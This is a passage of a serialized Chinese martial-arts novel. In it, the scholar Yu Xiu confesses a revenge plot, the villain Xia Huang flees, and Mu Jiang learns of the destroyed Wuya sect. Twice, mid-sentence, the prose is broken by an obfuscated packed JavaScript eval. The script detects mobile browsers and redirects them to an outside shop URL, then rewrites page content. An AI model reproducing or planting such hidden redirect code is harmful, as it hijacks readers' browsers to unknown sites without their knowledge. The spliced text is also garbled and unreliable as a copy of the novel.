鲍钟将雨馀凉和雨休扛到一处树林中后,便停下了脚步,将雨馀凉和雨休先后扔在了地上。用“扔”这个字来形容鲍钟的动作或许不太妥当,因为鲍钟停下来后,只是将两条手臂自然地放了下来。他肩上的雨氏爷孙没有了手臂箍住,便滚落在地。雨馀凉还好,雨休先前受了剑伤,被这么摔了一下后扯动伤口,痛得呻吟出声。 雨馀凉心疼爷爷,刚想对鲍钟发作,但随即想到对方不仅听不懂还可能发狂咬人后,默默将到嘴边的话咽了下去。 雨馀凉一边爬过去将雨休扶起靠在一棵树上,一边观察着鲍钟。鲍钟只是定定地站在那一动不动,跟昨日发狂野兽般的模样大不相同。 看来蛊毒傀儡的行动都是由夏篁的笛音所控制,可以让他成为咬人的怪物,也可以让他变成听话的劳力。 雨馀凉见鲍钟半天没有任何动作,稍微放宽了心,便问雨休道:“爷爷,你感觉如何了?”他依然怕惊动鲍钟,声音放得很轻。 雨休道:“凉儿……你可知为什么,我要带着你往西走……” 雨馀凉一怔,摇头道:“我不知。”昨日夏篁让雨休在东城门外树林与他汇合,雨馀凉也听到了。之后雨休带他从北城门出城,又转而向西时,雨馀凉虽然疑惑,却也没有多问。 雨休道:“我一开始……是想复仇,但之后……我觉得没有……没有意思……” 雨馀凉听雨休说话气喘,心中一阵酸楚,道:“爷爷……爷爷你别说了,先休息一下吧。” 雨休像没听到般,继续道:“凉儿,你……听我说,三四个月前……夏篁找到我,说看中了我的才华……我很高兴,我辛辛苦苦了一辈子,不就是……不就是为了等到这一 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“我听了后笑着道,朋友,你可是糊涂了?那重云门和琥沙派的掌门……怎么会来我们这?他听了也笑道,等过段……咳咳……过段时间你就知道了。那之后过了十多天,果然谷州刀派就收到了临蓟那边的来信……说重云门和琥沙派两派的掌门不日会来谷州,参观门派大较……那个时候,我才真正……真正相信他的主子确实是个大人物。” “等到这个时候,他又出现在我面前……问我愿不愿意帮他这个忙。我一开始不想搅这趟浑水,可是……可是我又转念一想,重云门的郑宝卿……和琥沙派的唐奕才……都是李盟主的左膀右臂,要是这两位掌门在谷州刀派出事,谷州刀派要……哈哈……要担首责,负责大较的那些人,是杀头还是流放到荒岛呢……哈哈,哈哈……我恨谷州刀派……我恨……几十年来,我一直在等待机会报复谷州刀派的那群人……机会到我眼前,我却差点放过了,哈哈哈……” 雨馀凉第一次见到平日和蔼慈祥的爷爷现出这般狂态,内心大受震动,竟生发出了想要逃跑,远离一切是非的念头。 雨休继续道:“于是我答应了,为了让夏篁放心跟我合作,我还……还将答应的原因告诉了他。他听了以后哈哈大笑,说那么这件事就权当去绵作前送给我的大礼了,得狠狠替我出口恶气。于是我们便一边谋划,一边等待着这一天来临……但我到了昨天才知道,他有很多事……都没告诉我……” 说到这里,他看向站在一旁的鲍钟:“九寒山牢的事……我确实不知道。后来……我又看见他驱使蛊毒傀儡去咬跟此事毫不相干的人。但那时事情已经发展成那样了,我心一横,决定帮他……帮到底,我当时失去了理智,满脑子都只想着要么重云门和琥沙派的掌门死在那,要么我死。” “昨天在屋里收拾东西的时候,我冷静了下来,猛然发觉自己惹了不该惹的人,惹上了不该惹的事。那个夏篁……是个很危险的人,绝对不能……再和他有联系了。可谷州刀派我们也待不了了,必须……赶紧走。夏篁说他在东城门外……与我们汇合,那我就往……往西走。凉儿,江湖……远比你想的可怕……” “雨老爹,亏我一开始找到你的时候,还在心里替你解释:你是年纪大了,耳朵背了,才会把东听成西。要不是听你亲口说出来,我还有些不相信你会一言不发弃我而去呢。你这样,让我心里很难过。”雨休话还未说完,夏篁的声音便冷不丁传来。 雨馀凉和雨休身体俱是一颤,爷孙二人都被吓得不轻。只见夏篁站在他们身后一棵树的树梢上,正居高临下地看着他们。 夏篁道:“两条路,跟我走,或不跟我走。前一条路生,后一条路死。现在选吧。”见雨氏爷孙只是沉默,他又突然笑了,道:“雨老爹,我到现在依然很欣赏你的才能。这样吧,我再给你一次机会,只要你还愿意协助我们,今天这个小小的不愉快,我完全可以忘记。” 雨休尚未答话,一道声音却突然从树丛后传来:“阁下如果识相的话,就请拿根绳子自己把自己绑了,那么今天这个小小的不愉快,我也完全可以忘记。” 等这道声音主人的身形完全从树丛后浮现出来时,夏篁皱眉道:“怎么又是你?” 15. 终到头来事事休(六) 同样是打算到谷州城外东南西北每个方向都去看看,鲍楚楚和铎占文好运,只找了西边一个方向,回来时就刚好就碰见重云门弟子拿住雨氏爷孙,有些人的运气就没那么好了。 木姜先往南走,后去往北城门外,往北寻了一阵,无果后又往东寻去。 往东去时没发现雨氏爷孙,倒是瞧见了几个可疑之人。 这样的雨夜还在外面瞎逛,鬼头鬼脑四处张望,光是这一点就已经很可疑。其中一人望见木姜接近,赶紧拍一拍旁边那人,低声道:“灭灯!”旁边那人忙把手中的玻璃风灯吹熄了。 木姜心中一动,径向那几个可疑之人的所在落去。 那几人见自己位置暴露,就要杀了木姜灭口。木姜将这几人挨个料理了,在只剩最后一个人时,木姜终于撬开了他的嘴,知道了他们的来历。 这几人都是绵作瑚庄的人,夏篁是他们的头领。因为头领久久等不到要汇合的人,所以自去找寻了,下令让他们留在这里等。 木姜将人打晕后,又向西寻去。 向南、北、东各追出了十几里路又折返,等到再往西边去时,天都亮了。 这回他运气稍微好了一次,到了城西还没走多远,不仅让他找到了雨氏爷孙,夏篁也在。 真是刚刚好,无涯派的事和瑚庄的消息,木姜都想知道。 见夏篁召来蛊毒傀儡将雨馀凉和雨休带走,木姜打算先擒住夏篁再去追雨氏爷孙,之后唐奕才和郑宝卿赶到,他便撇下夏篁去追雨氏爷孙。 将雨氏爷孙扛走的蛊毒傀儡轻功不低,木姜唯恐那蛊毒傀儡将雨氏爷孙带得远了,自己追寻不到,便把夏篁留给了唐郑二人。将人交到水南武林盟主的手上,也不是不行。 木姜本以为唐奕才与郑宝卿合力能擒住夏篁,不想之后却在树林里碰见了他。 木姜只知道蛊毒傀儡扛走雨氏爷孙的大概方向,所以虽然比夏篁先离开,却一直没能找到雨休和雨馀凉。正在树林里转来转去时,却远远地望见了夏篁的身影。 木姜不知道夏篁使了什么法子,能当着唐奕才和郑宝卿的面逃走,但看他快步在树林里走着,边走边四处张望,但脚下每一步都并不犹豫,便猜测他也是在找蛊毒傀儡和雨氏爷孙,且他应该使用了某种秘术,让他能够追寻到他们的踪迹。 木姜想到这,便尾随在夏篁身后。之后果然在一棵大树下看到了自己要找的人。 夏篁看清从树丛后走出的人是木姜,脸上的表情有些控制不住,道:“怎么又是你?” “你”字刚说出口,夏篁便将一枚飞针扔向了雨休。 他虽看着木姜说话,扔出的针却是刺向雨休,令人猝不及防。 木姜此时离雨休尚有一段距离,便将手中长刀连鞘扔出。长刀在空中与飞针相击,针被打飞钉在附近一棵树上,长刀余势不衰,仍向前飞出,啪的一声插进了另一棵树的树干里。 夏篁毫不迟疑,双手齐使,瞬间又朝雨休扔下十数枚飞针。 木姜脚下一蹬,跃至雨氏爷孙身前,同时右手凝聚起一股气流,一旁的长刀便自行出鞘,朝木姜飞来。木姜人在空中,一把握住长刀,只听叮叮当当数声,十数枚飞针便被尽数击落在地。有些银针大概是同时被击落,所以十数声听上去犹如数声。 夏篁两次要杀雨休都没能得手,于是道:“姓雨的,你如此出尔反尔,真不是东西。江湖不是你想来就来,想走就走的。你如今已身在江湖,还想干干净净脱身吗?你以为自己逃得了吗?呵呵呵……就算你逃到天涯海角,麻烦也迟早有一天会追上你。” 夏篁发觉雨休有背弃之意后本打算直接将他杀了,但又想着雨休会不会还有什么高深的武学理论没告诉自己,于是温言软语让雨休重新归附自己,若雨休仍是拒绝,再杀他不迟。哪里想到木姜竟又如影随形出现,夏篁知道木姜也对雨氏爷孙感兴趣,雨休本来就不愿再与自己扯上关系,如今又来了个木姜,让他们跟自己走已是万万不能了,便陡然暴起,要先杀掉雨休。 可这木姜实在是不好对付,他两次出手要杀雨休都没能成,现在也没力气再和人打了。 木姜听夏篁说话,察觉他气息略微不稳,便推测他方才定是使了什么金蝉脱壳的法子,才能从唐奕才和郑宝卿两大高手的围攻下逃脱出来,只是这招危急时刻用来保命的“金蝉脱壳”对自身损伤也极大。如此看来,就算他驱使一旁的蛊毒傀儡来夹击自己,自己应该也能对付。 雨馀凉听夏篁说了那番话,以为夏篁说雨休“逃不掉”的意思是他还会回来找雨休和自己。他不知道哪来的勇气,仰头看着夏篁,开口道:“我把你给爷爷的钱都还给你,我还可以再给你些钱,如此两清。从此我们不再联系你,你也不要再来找我们,这样行吗?”他说这话时有些紧张,只听到自己略带颤抖的声音在树林里回荡。 不想夏篁闻言只是一愣,似乎不知道雨馀凉在说什么,问道:“什么钱?我给你爷爷什么钱?” 雨馀凉没想到他会是这个反应,一时也不知道怎么说。 过了一会夏篁似乎明白他说的是什么意思了,嗤的一声冷笑道:“我没给他报酬。”他摇摇头,“他和他的那些理论并不值什么钱。我对他的理论感兴趣是真,可他的理论不值钱也是真。如果他背叛我,我会毫不犹豫杀掉他。可惜么,有吧,但也不是那么可惜。”说着说着,竟笑了起来,笑容里有怜悯,有嘲讽,有玩味。 雨休此时突然睁眼道:“你是没有给我任何报酬,我将自己多年来总结研究出的东西都告诉你,是因为我所在意的,只是我的理论是不是能够产生价值。” 夏篁道:“价值?有吧,但不多。” 雨休闭上眼:“我自己心中有定论。” 雨馀凉一开始以为雨休是跟夏篁合作有钱了才给自己买了刀,结果此刻才得知夏篁并没有给雨休任何报酬。其实买刀的钱是雨休慢慢攒的,雨休知道雨馀凉想要一把真刀,所以从很久以前就在一点点攒钱。 夏篁看了一眼木姜,运起轻功转身离开。木姜也没有追,只是往木姜离开的方向看了看,又转头看向蛊毒傀儡,后者从自己来时就没动一下,夏篁离开时,也没将它带走。 雨休的声音突然从木姜背后传来:“我听凉儿说了,昨天是先生救了他。” 木姜转过身去。 “且不说凉儿的恩公也就是我的恩公,你救了老头子两次,便是我……大大的恩公。” 木姜心想,我不过今天救了他一次,何时还曾救过他?他为什么说是两次?下一刻便明白过来,雨休是把自己第一下替他弹开飞针算做一次,把随后替他击落十多根飞针又算做一次。 木姜迟疑一阵,还是道:“我只是为了达成我的目的。” 雨休道:“你能大大方方说出这话,说明……咳咳……不说你救我和凉儿,昨天你本不愿插手夏篁和两派掌门的纷争,之后见夏篁驱使蛊毒傀儡去咬伤无辜的人,终于还是出手。我也是……咳咳……我也是看在眼里的,然而昨天那时我疯魔了,看见你救人举动,只深恨你出来碍我们的事,咳咳,咳咳……” 木姜听他说话似喉中有痰,又半天咯不出,且进气多,出气少。忙走过去,这才看见雨休中衣下缠了绷带,胸口处渗出一片黑红的血来。知他被兵刃伤过,于是一边助雨休顺气,一边对雨馀凉道:“你们行囊中带得有金创药吗?”木姜自己身上的金创药早些时候被他拿出放在客栈房间的桌上了,不承想遇到这么一系列的事,他从昨天下午到现在一直在外面奔波,现在身上只有盘缠和其他一些随身物。 雨馀凉道:“没有,我们身上只有治风寒的药和淤伤药。” 木姜听了不言,心想雨氏爷孙也都算是武林门派里的人,怎么会不备着金创药。随即想到他们门内教授弟子都是使用木刀,木刀只能打出淤血不能刺破皮肤,怪不得只有淤伤药。 雨馀凉看向木姜,小心翼翼道:“先前……那个夏篁给了药,让我给爷爷服下……” 木姜道:“我看看。” 雨馀凉将药瓶取出,递给木姜。 木姜取下瓶塞,先凑到鼻边闻了闻,又倒出一粒仔细看了看,没看出这是什么药。 雨馀凉道:“想是医治剑伤的?” 一旁雨休终于缓过一口气来,虚弱道:“这是鬼仙续命丹……” 雨馀凉和木姜一同看向雨休。 雨休道:“这种药……是我们水南专门用来给伤重濒死之人服的……一般只用服一粒,若伤势实在严重,便要多服……我年迈体衰,那把剑……又刺得离我心脏很近,夏篁过来一看,就……咳咳,就知道我的伤很棘手了。所以一来就叫取两粒……给我服下。但这药本身毒性也很强,服得越多,治伤功效虽然越强,但服用多了毒气攻心……很多服过这药的人最后还是死了,倒不是因为……原本的伤势,而是被这药毒死了。咳咳,咳咳……服用少了会因为原来的伤势沉重而丧命,服用多了又会被毒死,所以把握好药量很重要,但……这个药量又因人而异,没有定准……所以……咳咳……所以……” 所以雨休接下来是死是活,全看天意。 木姜找到雨休本来是要问有关无涯派的事的,这个时候却有些不忍再问他这些了。没想到雨休竟主动提起了这件事。 雨休道:“关于无涯派的招式,咳咳……我……也听凉儿说了,说你之前找过他……不错,姓谢的小杂种在大较比试时最后使的那大半招……是无涯派的斩云诀,凉儿用来拆解那招用的……也是无涯派的路数。咳咳、咳咳……无涯派的招式,你昨天也是使过的……” 木姜听到“无涯派”这三个字,一颗心怦怦而跳。 “你想知道,咳咳……关于无涯派的什么?我昨天看你和夏篁打斗,知你是个武功广杂的人,你是想……想化无涯派的武功为己用,是不是?” 木姜摇摇头,道:“不是,我是想了解这个门派的历史渊源。真奇怪,我之前从未听说过无涯派。” 雨休有些惊讶,他一开始还以为像木姜这样所学驳杂的习武之人,多年来不断将各类武功兼收并蓄,现有的各门派招式已经被他吸收殆尽,才将眼光放在了已经消失的门派上面。他叹了口气,道:“小老儿几十年来收集整理水南、水西、水东各家各派武功,在……咳……记录武功之余,幸亏还对这些武功流派的历史渊源感兴趣,否则……咳咳……今天你的这个问题就回答不、不了啦。”他继续道:“你没听说过无涯派,这很正常。当今江湖上,绝大部分人都不知道这个门派,因为无涯派不仅在百年前就已经灭门绝派,遗留下来的相关记载……咳……还被人为尽数毁去了。” 听了雨休这番话,木姜和雨馀凉不约而同地“啊”了一声,似乎是没料到对方也会“啊”这一声,两人“啊”完后相互看了一眼,很快又都移开了目光。 雨休道:“咳咳……我也……我也是翻阅了不少古籍,又亲自去往水西……才逐渐拼凑出与无涯派相关的信息。我都是后来……咳……后来才知道这个门派……它叫无涯派,这之前,我收集到他们门派的一招半式,为了区分,都是用天干数字给它们编号……” “无涯派是水西的一个门派。据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717290|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我找到的记载来看,无涯派……和两仪派那帮道士有些渊源,这两个门派的内功都是调动阴阳二气,而非单一地,咳咳……单一地走刚猛……或阴柔的路子。但跟广收弟子的两仪派不同,无涯派……不大与外界联系,收入门内的弟子数量也甚少,但该门派的武功深奥高明,所以江湖上……并不敢小视。” 雨馀凉忍不住插口道:“如此说来,无涯派的功法玄奥高明,又怎会被灭门?是谁灭了无涯派?” “若是其他人,确实很难办到,可灭了无涯派的,咳……不是别人,正是当年的玄同教……咳咳……教主裴秉延。” 雨馀凉惊道:“玄同教?是那个邪教?” 雨休点点头,道:“就是它。当年那个大魔头气焰冲天……咳咳……不可一世,还敢踩在……踩在他们水西武林盟主的头上翻云覆雨。裴秉延将整个水西武林搅得不得安生,剿灭吞并的大小门派……不可胜数。无涯派虽武功高明,但那裴秉延本身……也是个难得一遇的练武奇才,是以一个无涯派,咳……说灭就灭了。” 雨休说着,看向木姜,道:“一百年前那时候,也是……你们水西武林的一段黑暗时期了。” 木姜没有说话,似乎有些神思不属。 雨休又道:“裴秉延将无涯派灭门,不仅……将人全部杀了,还将记录无涯派武功的纸张、册页、书简尽数毁去,根据我找到的材料,连当时不在门派,在外面云游的无涯派弟子……也都被找到杀了,这个人……他是要将无涯派的武功从这个世上抹得一干二净。从此以后,江湖上再无人使无涯一派的武功,现在流传下来的无涯派武功……咳咳……都是当时其他门派记录下来的一招半招,这些招式……零零碎碎,无法连贯,对现在的人来说,最多只能像凉儿和姓谢的小杂种那样,摆个花架子可以,实战中是……是用不了的,破绽太多,也太生硬……如果没有无涯派的师父口头传授诀窍,再亲身示范,有些关节是……是永远想不明白的……” 雨休说到这,突然感到有哪里不对,有些疑惑地看向木姜道:“你不知道你使的……是无涯派的功夫吗?那你所学的无涯派招式又是……又是……咳咳,咳咳……哪里来的?”雨休一边说着,一边越发感到心惊。昨日木姜使的那招无涯派的刀法,他其实一开始也没看出是无涯派的,因为自己收集整合的所有无涯派招式中,没有一招与木姜用的那招相同。雨休只是凭着自己几十年来对各家武功分类的经验判断出这招属于无涯派武功,尽管如此,他还是不敢把话说满,所以当时才对夏篁说“隐隐有无涯派外家功夫的影子”。 木姜沉吟一阵,道:“……不瞒老人家说,其他门派的武功招式都是我后来窥得,但这所谓‘无涯派’的武功,却是我本来的武功,乃业师传授,我从小修习。” 雨休眼中现出惊讶之色,忽然用力直起上身,颤抖着凑到木姜面前,将自己所收集的那些残缺不全的无涯派剑法、刀法、掌法等武功的口诀一一低声说出,木姜也凑到雨休耳边,将这些口诀一一补全,甚至还在必要处将出招时具体的手臂腿脚动作用简要的语言描述出来。 木姜补全的部分有些地方跟雨休从前所料想推衍的一样,有些地方的繁复巧妙之处却远超出雨休的想象,雨休不由得在心中赞叹不绝,感慨万千。 这木姜不仅学过无涯派的武功,还学得甚全! 雨休道:“看来先生的师父可是对先生……咳咳……倾囊相授啊。”他说这句话时,才猛然想起自己到现在还不知道眼前这个疤脸汉子的姓名,又问:“敢问先生怎么……咳……怎么称呼?” 木姜道:“在下木姜,草木之木,生姜之姜。” 雨休道:“木先生,尊师……大约是与无涯派有渊源的人,也许是从当年灭门惨祸中幸存下来的弟子的后人也说不定。他没……没跟你说吗?” 木姜轻声道:“他没说。”他顿了顿,又道:“他什么也没跟我说。” 雨馀凉在一旁听着,不知怎的,竟觉木姜这两句话中有一丝酸楚之意。 雨休靠在树干上,胸口轻轻起伏,道:“对于无涯派,我……咳咳……也就知道这些了。木先生,可帮上你……什么忙了么?” 木姜笑笑,将头低下一阵,抬头问雨休:“雨先生,你现在身体感觉如何?可好些了?” 雨休微笑道:“我现在……竟比方才要好些了,伤口也没那么痛了,呼吸也顺畅了些……” 木姜忽然伸出左手拉起雨休的手腕,只见木姜左手与雨休手腕贴合处气流涌动,并升起一缕缕白气。雨休道:“木先生,这……”木姜不答,雨休只感到手腕被牢牢抓住,挣是挣脱不出的。 雨馀凉见状先是一惊,随后明白过来,木姜是在消耗自己的内力替雨休疗伤。只是他为何要这样做?若说是为了感念雨休告诉他无涯派之事,他之前已经救过了爷爷和自己……约莫一炷香时分后,木姜松开了雨休的手腕,他收功后,自己也忍不住咳嗽了两声。 雨馀凉见雨休的脸色红润了不少,从之前就一直悬着的心终于放了下来。他听雨休说自己比先前好些了,心想应当是鬼仙续命丹的药效起了作用,而雨休的身体又压制住了毒性,便已经感到欣慰。之后又得木姜用内功给雨休疗伤,眼见雨休状态多有好转,随即大感欣喜,连忙一迭声地跟木姜道谢,雨休也对木姜道:“多谢木先生。”木姜只是笑笑不语。 雨休突然道:“凉儿,你可知我为何答应与夏篁合作?” 雨馀凉道:“爷爷是为了报复谷州刀派。” 雨休道:“是了。你可知我与谷州刀派有何恩怨?” 16. 终到头来事事休(七) 雨馀凉道:“我不知。”他又道:“爷爷,你先休息一会吧,有什么话,等之后再说。” 雨休没听他的,靠在树干上,望着几乎完全被树叶遮挡的天空,自顾自地说道:“我十七岁时进的谷州刀派,就跟你现在一样大。”雨休望着雨馀凉,笑了笑,“我们家自我曾祖起,世代都是读书人。我爷爷,我父亲,我哥哥,他们从未对这一状况提出异议,咳、咳……似乎这就是理所当然的一样。可我是个异类,我从小就喜欢拳打脚踢、刀来剑往的东西。爷爷、父亲去世得早,我和哥哥相依为命,唉……”说到这里,雨休闭上了眼。 雨馀凉一惊,心想,爷爷竟然还有一个哥哥,以前怎么从未听他说起过。 “我喜欢有关江湖、武功的东西,一有零碎银子就去买来木刀木剑、传奇话本之类的玩意儿。那时候我买的木刀木剑,跟你们在门派里用的木刀还不一样,削得小小巧巧的,再打磨抛光,只是好看,禁不得和人对打。那个时候,我只把这些当成个爱好,哥哥也不反对。一次哥哥要出门,我让哥哥路过书肆时带一本新出的话本回来,哥哥回来后,跟我说我想要的话本卖完了。我其实并没有因此感到多么难过,哥哥却似要给我惊喜一般,突然从背后拿出了另一本话本出来,说:‘但是有这个!’我也没有因为哥哥给我买了另外的话本而感到多么高兴,因为那话本并不是我喜欢的类型,我只是感到心里很暖,很暖,然后想着,我们兄弟二人的关系要一直这样好。” “我不是谷州府人,我原本的家在谷州府治下的谷神镇。一次机缘巧合,我开始到谷州刀派看里面学艺的弟子大较,每年都去。一开始是拉着在书塾的同窗一起去,后来就自己一个人去。” 雨休说着,又叹了口气,道:“我现在常常想,要是当年没有因为一时好玩去打听消息,我的现在的人生,也许是另一番模样。” 雨馀凉道:“打听消息?” 雨休道:“我十六岁那年去看大较时,刚好站在一个谷州刀派的师父旁边,不知不觉间两个人就聊了起来。一开始聊的是别的话题,突然我灵光一闪,鬼使神差地问道:‘谷州刀派收不收之前从没学过武功的,年龄较大的弟子?’那位师父跟我说,谷州刀派通常情况下只收十二岁以下的小孩子,因为从小习武打下的基础更牢固。如果过了十二岁,要是之前在其他地方学过武功也是可以进入门派的,只是要进行考核,合格的方才能进入门派,且每年只有固定的几天招收这类弟子。历年来来报名的人很多,但通过考核的却是少之又少。” “另外还有一类弟子,就是我所问的,过了十二岁,以前又从来没学过武功的。他说这类弟子谷州刀派也收,如果有特别突出的某项特长被门派看中的话,是可以进入谷州刀派,跟其他弟子一起习武的,只是这类弟子在谷州刀派极少,比第二种弟子还要少很多。当时我只是打听着玩,并没有真的想进谷州刀派习武。因为那个时候,我仍感觉自己和那些习武之人属于两个完全不同的世界,我们不会有任何交集。” 雨休见木姜略微歪着头,这疤脸汉子虽背对着他们,却也似乎在侧耳细听雨休所说的话。雨休对雨馀凉微微一笑道:“想不到吧,谷州刀派在水南都只能算个杂门小派,根本排不上号,哪里像水西的两仪派,不仅在水西出名,在水东和我们水南都是鼎鼎大名。可就是这样一个杂门小派,作为一个没有从小系统学习过武功的人,要进去也是万分不易的。凉儿你那时才七岁,所以很容易就进去了。” “可是渐渐地,我开始思考我活着究竟是为了什么,难道我这一生就这么按部就班,一直到老死吗?稍微想想,就觉得这是一件很可怕的事。不知不觉间,我开始想象如果自己在谷州刀派习武,是不是就会有一段截然不同、包含诸多可能性的人生?随着时间的推移,谷州刀派竟成了我的心魔,我一开始十分自然地觉得谷州刀派和自己不会有交集,到后来竟觉得自己必须要进谷州刀派。于是我把自己的想法跟哥哥说了。” “哥哥当然不同意,说我以前从来没学过武功,又说那些谷州刀派从小习武的弟子都是有武林家世渊源的。我跟哥哥说,谷州刀派也收以前从未学过武功的十二岁以上弟子。哥哥说,那是收进去给他们打杂的,人家真正看中的还是武功。我说你错啦,谷州刀派收这些人进去,也教他们武功,跟那些从小收进门习武的弟子一样。那时我说这话,说得信心满满,可现在看来,还是我错了。也许并不是所有弟子都是哥哥说的那种情况,但我走上的道路却和他说的……很像。唉……这也都是后话了。” “那之后,我和哥哥不知吵了多少次架,吵得两个人都寻死觅活的。我说习武是我的梦想,哥哥说梦想,梦想,你这个梦想会害死我们!就这样过了大半年,最终,哥哥妥协了。让哥哥都没想到的是,我进谷州刀派进得相当顺利。我身上虽没一点武功,但于水南、水西、水东的各武学流派、武功招式都十分熟悉。我从未刻意去背过这些,只是从小兴趣使然,自然而然就积累了这许多。” 雨休又笑了起来:“我当初进入谷州刀派时,可把里面的师父、师伯叔都震惊了,他们从未见过我这样的,一边惊讶,一边将我收入了门派。那个时候,哥哥也很高兴,尽管他之前一直反对我进谷州刀派。” 雨休说着,忽然又敛起了笑容,长叹道:“可我没想到的是,从前做梦也想进的谷州刀派,竟成了我之后拼命想要逃离的地方。”他语气很是凄凉唏嘘,连一直安静站在一旁的木姜,也微微转过了头。 “我因为对各家各派武功十分了解,所以刚入门派那会很被师父,以及师伯叔们看重。我那会年轻,不懂得收敛,不想招来他人的嫉恨。也就是在那时,我和谢岚星那小杂种的爷爷,也就是之后的谷州刀派掌门结下了梁子。那混账武功在整个门派中排名倒数,之后却能做掌门,还不是因为他老子,也就是谢岚星那小杂种的曾爷爷,也是掌门。自从那姓谢的成了掌门后,我在谷州刀派的日子就一天比一天难过。门内其他人要恭维掌门,便也跟着不给我好脸色,时不时给我些罪受。而当一个人在群体中被大多数人欺负时,其余的人尽管跟他无冤无仇,或多或少也会跟着欺负。” 木姜明白这一点。当一个人是所有人欺负的对象时,就连平时最坦荡直接、最和气的人,都会开始对他没好脸色。 雨休说到这时语气酸涩,雨馀凉听到爷爷的这些经历,心中泛起一阵难过,随即想到自己,又是一阵难过,随后他又想到,自己是弱者,自己的家人也是弱者,全世界都来欺负自己和自己的家人,他和他的家人却都无能为力。想到这里,一股莫大的悲伤浮上心头,只感到眼前一阵晕眩。 雨休道:“被人排挤么,其实说到底也没什么,慢慢就习惯了。但之后我发现了一件令我真正感到恐惧的事,等我进了门派,我才发现自己真正喜爱的不是修练武功,而是研究理论,将各门各派的武功进行归纳分类。由于我进门派的时候太高调,所以当真正比划起拳脚来,其他人发现我完全打不过他们的时候,他们便有了欺负我的绝好方式,你们猜是什么?嘿嘿,借比武切磋之名将我揍得鼻青脸肿,可谁也不能说他们哪里不对。” 雨休突然看向雨馀凉,道:“凉儿,我一直觉得我学不好武功,还有一个原因是没有从小修习。所以我在你七岁时就把你送入谷州刀派,可现在看来,你对这个似乎也不感兴趣。” “之后我痛苦挣扎良久,最终还是决定放弃习武,向掌门请求去看守藏书阁,一心一意做起整理分类天下武功的事来。随着时间的推移,我越发觉得,我就是为做这件事而生、而活着的。” “我专门来到谷州刀派,却放弃习武,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717291|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不起付出一切供我进入谷州刀派的哥哥,可哥哥他……什么也没说,一直支持着我想要做的事。”雨休说到这,浑浊的眼中蓄满了泪水。 “之后,哥哥生了病,病得很重,我为了方便照顾哥哥,便将哥哥接来谷州府住。” “可是,”雨休忽然咬牙切齿,“那个姓谢的畜生,竟然带着姓赵的畜生,在我哥哥病重时,去跟他说我在比试时受了极重的伤,已经命不久矣了。等我回家去时,只看到哥哥上半身悬在床沿,已是气若游丝,他骤然见了我,又是惊讶又是欣喜,当场便心悸而亡!姓谢的畜生死了,姓赵的畜生还在,我没有复仇的能力,只好表面上客客气气,逆来顺受,这么多年来,我一直在等待机会狠狠报复他,狠狠报复他们!” 雨馀凉一愕,心想:“姓赵的畜生,是谁?难道是他们谷州刀派如今的掌门赵恬?” 雨休正说着,木姜突然眼皮一动,扭头看向左侧。 只见左侧林木后慢慢走出两个人来,一个是鲍楚楚,另一个是铎占文。 先前鲍楚楚去追鲍钟的时候,铎占文本来下意识地想追过去,但又忌惮夏篁,便没有动。之后见夏篁和木姜斗作一处,前者注意力完全被后者吸引,便想趁此机会去追鲍楚楚。刚抬起一只脚,突然想到:不对啊,我为什么要追过去?虽然说他想把雨氏爷孙抓到手,但此刻旁边还多了个蛊毒傀儡,别说他武功本就没那些狱卒好,要是被咬上一口……他可不想变成那副鬼样子。 铎占文一转身,准备趁木姜将夏篁拖住时,打道回谷州府。然而他虽然转过了身,却迟迟没有离开。 突然,他咬咬牙,又转回身来,也施展起轻功向鲍楚楚离开的方向而去。 鲍楚楚轻功不如鲍钟,跟了一段距离就跟丢了,只在后面远远看见鲍钟扛着雨氏爷孙进了树林。鲍楚楚在树林中乱转时,又遇到了同样在树林中乱转的铎占文。他们轻功不如木姜,又没能碰见夏篁,所以过了这么久才找到这来。 鲍楚楚一看见雨休,就想上前揪住他质问一番,但鲍钟的存在压住了她这股冲动。鲍钟定定站在鲍楚楚对面,此时太阳已经出来了,阳光透过树叶的缝隙洒在鲍钟因蛊毒而显出蓝灰色的皮肤上。鲍楚楚瞪大了眼睛看着鲍钟,口中叫道:“爹,爹……”抬脚想走过去,却被铎占文一把拉住,对她道:“冷静点,他现在已经不是你爹了。”他生怕惊动了鲍钟,刻意压低了声音。 铎占文从没见过鲍楚楚的父亲,之前夏篁唤出狱卒大闹谷州刀派时,铎占文只知道狱卒里面有鲍楚楚的父亲,但不清楚是哪个。所以夏篁让鲍钟抗走雨氏爷孙时,鲍楚楚追了上去,铎占文还以为她是冲着雨氏爷孙去的。此刻听鲍楚楚叫爹,才知眼前这只蛊毒傀儡正是鲍楚楚的父亲。 铎占文一边拉住鲍楚楚,一边用余光瞅着坐在雨氏爷孙旁边的木姜,心里有些疑惑:他为什么不把雨氏爷孙抓住? 鲍楚楚一看见鲍钟,仅剩的理智都失去了,哪管那么多,用力挣脱铎占文的手,三步并作两步来到鲍钟面前。 鲍楚楚走到鲍钟面前,又叫:“爹,爹!”此时雨馀凉、木姜、雨休、铎占文四双眼睛一齐注视着她,她却全然不觉。 此举十分危险,没人知道蛊毒傀儡什么时候会暴起,连木姜也将手放在了刀柄上。 然而鲍钟一直没有任何动作,甚至眼睛都没眨一下,仿佛石化了一般。 